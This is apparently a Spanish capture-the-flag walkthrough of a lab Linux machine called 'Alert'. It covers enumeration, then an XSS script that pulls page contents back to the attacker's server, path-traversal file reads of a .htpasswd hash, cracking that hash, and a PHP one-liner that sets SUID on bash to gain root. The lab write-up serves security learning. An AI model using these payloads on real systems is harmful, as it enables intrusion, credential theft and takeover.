Alert
OS: Linux
Dificultad: Fácil
Puntos: 20
Nmap Scan
ports=$(nmap -p- --min-rate=5000 -T4 10.10.11.44 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.11.44
Nmap scan report for 10.10.11.44
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
12227/tcp filtered unknown
Enumeracion
Identificamos un dominio en la salida del comando nmap alert.htb. Tambien encontramos un subdomino con el siguiente comando.
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.alert.htb" -u http://alert.htb/ -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.alert.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 126ms]
Este subdominio nos pide un usuario y password.
Con la enumeracion de directorios encontramos uno interesante messages.
gobuster dir -u http://alert.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://alert.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 274]
/.htaccess (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/server-status (Status: 403) [Size: 274]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
Esa ruta nos da un mensaje de forbidden por lo que no podemos acceder por el momento.
XSS XMLHttpRequest
Despues de enumerar la aplicacion web identificamos que es vulnerable a XSS en el apartado para subir archivos .md y en el formulario de contacto.
http://alert.htb/index.php?page=alert
http://alert.htb/index.php?page=contact
Para validar la vulnerabilidad utilizamos cualquier payload XSS en este caso usamos el siguiente.
<script src="http://10.10.14.5/"></script>
Lo mandamos y nos genera un link donde podemos ver si se ejecuta nuestro payload.
Si accedemos al link recibiremos una request en nuestro servidor web, esto confirma la vulnerabilidad XSS.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.5 - - [30/Dec/2024 15:20:18] "GET / HTTP/1.1" 200 -
Sin embargo vemos que la request viene de nuestra IP. Lo que queremos es que la peticion venga del servidor. Por lo tanto el link que nos genera la pagina se lo enviaremos por el formulario de contacto.
Vemos que recibimos la request en nuestro servidor pero con la IP de la maquina.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.5 - - [30/Dec/2024 15:20:18] "GET / HTTP/1.1" 200 -
10.10.11.44 - - [30/Dec/2024 15:24:40] "GET / HTTP/1.1" 200 -
Bypass 403 Forbidden
Ahora que sabemos que es vulnerable a XSS intentaremos acceder a la pagina messages con el siguiente payload.
Note
Es importante que tu payload no tenga doble salto de linea si no se agregara la tag y no funcionara el payload.
<script>
server = 'http://10.10.14.5/'
url = 'http://alert.htb/messages.php'
req = new XMLHttpRequest;
req.onreadystatechange = function() {
if (req.readyState == 4) {
req2 = new XMLHttpRequest;
req2.open('GET', server + btoa(this.responseText),false);
req2.send();
}
}
req.open('GET', url, false);
req.send();
</script>
Repetimos el proceso anterior.
Enviamos el link por el formulario de contacto y recibiremos una cadena en base64 en nuestro servidor web.
10.10.11.44 - - [30/Dec/2024 15:43:00] "GET /PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg== HTTP/1.1" 404 -
Al hacer el decode de la cadena vemos lo siguiente.
echo 'PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==' | base64 -d
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
Local File Inclusion
Identificamos que el path que descubrimos es vulnerable a Local File Inclusion lo que nos permite leer archivos locales de la siguiente forma.
<script>
server = 'http://10.10.14.5/'
url = 'http://alert.htb/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf'
req = new XMLHttpRequest;
req.onreadystatechange = function() {
if (req.readyState == 4) {
req2 = new XMLHttpRequest;
req2.open('GET', server + btoa(this.responseText),false);
req2.send();
}
}
req.open('GET', url, false);
req.send();
</script>
El archivo que intentamos leer es el archivo de configuracion de apache para identificar donde estan los archivos web. Repitiendo los pasos anteriores obtenemos el siguiente resultado.
...
...
...
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Vemos una ruta interesante que contiene el usuario y password para acceder al subdominio.
<script>
server = 'http://10.10.14.5/'
url = 'http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd'
req = new XMLHttpRequest;
req.onreadystatechange = function() {
if (req.readyState == 4) {
req2 = new XMLHttpRequest;
req2.open('GET', server + btoa(this.responseText),false);
req2.send();
}
}
req.open('GET', url, false);
req.send();
</script>
Conseguimos la siguiente cadena.
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Crack Hash
Es posible obtener el password en texto plano utilizando john de la siguiente forma.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt-long hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (albert)
1g 0:00:00:00 DONE (2024-12-30 16:53) 4.545g/s 12800p/s 12800c/s 12800C/s meagan..medicina
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Acceso SSH
Podemos utilizar las credenciales para acceder por SSH.
albert : manchesterunited
Nos conectamos por SSH.
ssh albert@alert.htb
Last login: Mon Dec 30 22:14:14 2024 from 10.10.14.5
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:~$ ls
user.txt
Escalada de Privilegios
El usuario albert pertenece al grupo management este grupo tiene permisos en el directorio /opt/website-monitor/config
ls -la /opt/website-monitor/
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 .
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
Tambien esta el puerto 8080 abierto localmente.
netstat -putona
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - off (0.00/0/0)
Revisando los procesos el siguiente comando se esta ejecutando como root.
root 999 0.0 0.6 207256 26420 ? Ss 13:32 0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
Port Forwarding
Para acceder a la pagina web hacemos port forwarding de la siguiente forma.
ssh albert@alert.htb -L 8081:127.0.0.1:8080
Ahora podemos acceder localmente a la pagina web.
Acceso root
Ya que tenemos permisos de escritura en el directorio config podemos escribir un archivo php que ejecute system y acceder desde la web. Esto nos permitira escalar privilegios ya que el servidor web lo esta ejecutando el usuario root.
Escribimos nuestro archivo php con el siguiente comando.
echo '<?php system("chmod u+s /bin/bash"); ?>' > /opt/website-monitor/config/root.php
Vemos que se creo correctamente.
ls -la /opt/website-monitor/config
total 16
drwxrwxr-x 2 root management 4096 Dec 30 22:45 .
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root management 49 Dec 30 22:46 configuration.php
-rwxrwxr-x 1 albert management 39 Dec 30 22:46 root.php
Ahora accedemos al archivo para que se ejecute nuestro payload.
curl http://127.0.0.1:8081/config/root.php
Nuestro payload le dara el permiso SUID al binario bash con esto podemos escalar privilegios de una forma rapida.
References
https://mincong.io/2018/06/19/sending-http-request-from-browser/